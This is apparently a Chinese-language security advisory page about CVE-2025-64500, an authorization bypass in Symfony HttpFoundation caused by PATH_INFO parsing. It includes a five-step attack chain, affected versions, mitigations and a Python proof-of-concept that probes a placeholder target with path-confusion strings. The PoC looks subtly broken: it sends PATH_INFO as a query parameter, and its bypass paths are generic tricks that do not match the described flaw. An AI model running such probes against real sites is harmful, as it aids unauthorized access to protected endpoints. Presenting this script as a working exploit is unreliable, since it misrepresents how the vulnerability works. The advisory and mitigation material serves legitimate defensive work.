IPBUF安全漏洞报告
English
CVE-2025-64500 CVSS 7.3 高危

CVE-2025-64500 Symfony HttpFoundation PATH_INFO解析错误导致授权绕过

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-64500
漏洞类型
授权绕过
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Symfony HttpFoundation组件

相关标签

SymfonyHttpFoundationPATH_INFO授权绕过访问控制CVE-2025-64500PHP框架安全漏洞

漏洞概述

CVE-2025-64500是Symfony框架中HttpFoundation组件的安全漏洞。该组件定义了HTTP规范的面向对象层,用于处理HTTP请求和响应。漏洞源于Request类对PATH_INFO参数的错误解析,导致某些URL路径不以正斜杠“/”开头。攻击者可利用此特性绕过基于路径前缀假设的访问控制规则,如某些路由保护、中间件验证或防火墙策略。由于Symfony广泛应用于Web应用程序和企业级系统,此漏洞可能影响大量使用该框架的项目。攻击者无需认证即可发起攻击,通过构造特殊的请求路径绕过安全检查,访问本应受保护的端点或资源。CVSS评分7.3属于高危级别,建议受影响的用户尽快升级到修复版本。

技术细节

Symfony HttpFoundation的Request类在处理PATH_INFO时存在解析缺陷。当HTTP请求包含PATH_INFO参数时,Request类可能生成不以“/”开头的路径字符串。正常情况下,URL路径应始终以正斜杠开头,如“/admin/dashboard”。然而,由于解析逻辑错误,某些构造的请求会导致路径变为“admin/dashboard”(缺少前导“/”)。攻击者可以利用这一差异绕过依赖路径前缀检查的访问控制机制。例如,某些安全策略会检查路径是否以“/admin”开头进行权限验证,但当路径格式异常时,这些检查可能被绕过。漏洞影响版本2.0.0至5.4.49、6.4.28及7.3.6。修复版本(5.4.50、6.4.29、7.3.7)通过强制确保URL路径始终以“/”开头来解决此问题。攻击者可通过发送带有特殊构造PATH_INFO的HTTP请求来利用此漏洞,无需任何认证凭证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Web应用是否使用Symfony框架及其版本,通过robots.txt、HTTP头或错误信息获取版本信息
STEP 2
步骤2: 漏洞检测
攻击者构造带有特殊PATH_INFO参数的HTTP请求,测试目标是否对不以'/'开头的路径进行正确处理
STEP 3
步骤3: 绕过访问控制
利用PATH_INFO解析错误,发送路径格式异常的请求,绕过依赖路径前缀检查的访问控制规则
STEP 4
步骤4: 未授权访问
成功绕过验证后,攻击者可以访问本应受保护的端点、API接口或敏感资源
STEP 5
步骤5: 进一步利用
根据获取的访问权限,攻击者可能进行数据窃取、权限提升或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64500 PoC - Symfony PATH_INFO Authorization Bypass # This PoC demonstrates how a malformed PATH_INFO can bypass access controls # that assume URL paths start with '/' import requests import urllib.parse TARGET_URL = "http://target-site.com/" VULNERABLE_ENDPOINT = "admin/dashboard" def test_path_info_bypass(): """ Test if the target is vulnerable to PATH_INFO based authorization bypass. Some access control rules assume URL paths start with '/' """ headers = { "User-Agent": "Mozilla/5.0 (CVE-2025-64500 PoC)", "X-Original-URI": f"/{VULNERABLE_ENDPOINT}" } # Normal request - should be blocked by access control normal_request = requests.get( TARGET_URL + VULNERABLE_ENDPOINT, headers=headers, allow_redirects=False ) print(f"Normal request status: {normal_request.status_code}") # Bypass attempt using PATH_INFO without leading '/' # This may bypass access controls that incorrectly validate paths bypass_paths = [ VULNERABLE_ENDPOINT, # Missing leading slash ";" + VULNERABLE_ENDPOINT, "/.;/" + VULNERABLE_ENDPOINT, "/" + VULNERABLE_ENDPOINT + "/." ] for bypass_path in bypass_paths: try: response = requests.get( TARGET_URL, headers=headers, params={"PATH_INFO": bypass_path}, allow_redirects=False ) print(f"Bypass path '{bypass_path}': {response.status_code}") if response.status_code == 200: print(f"[+] Potential bypass detected with path: {bypass_path}") return True except Exception as e: print(f"Error testing {bypass_path}: {e}") return False if __name__ == "__main__": print("CVE-2025-64500 Symfony PATH_INFO Bypass Test") print("=" * 50) test_path_info_bypass()

影响范围

Symfony 2.0.0 - 5.4.49
Symfony 6.0.0 - 6.4.28
Symfony 7.0.0 - 7.3.6

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器(如Nginx、Apache)配置层添加URL规范化规则,强制所有路径以'/'开头;2) 在应用入口点添加PATH_INFO预处理逻辑,确保路径格式正确;3) 加强对受保护路由的验证,使用绝对路径匹配而非前缀匹配;4) 限制PATH_INFO参数的长度和字符集;5) 考虑临时禁用PATH_INFO路由功能,改用其他路由机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表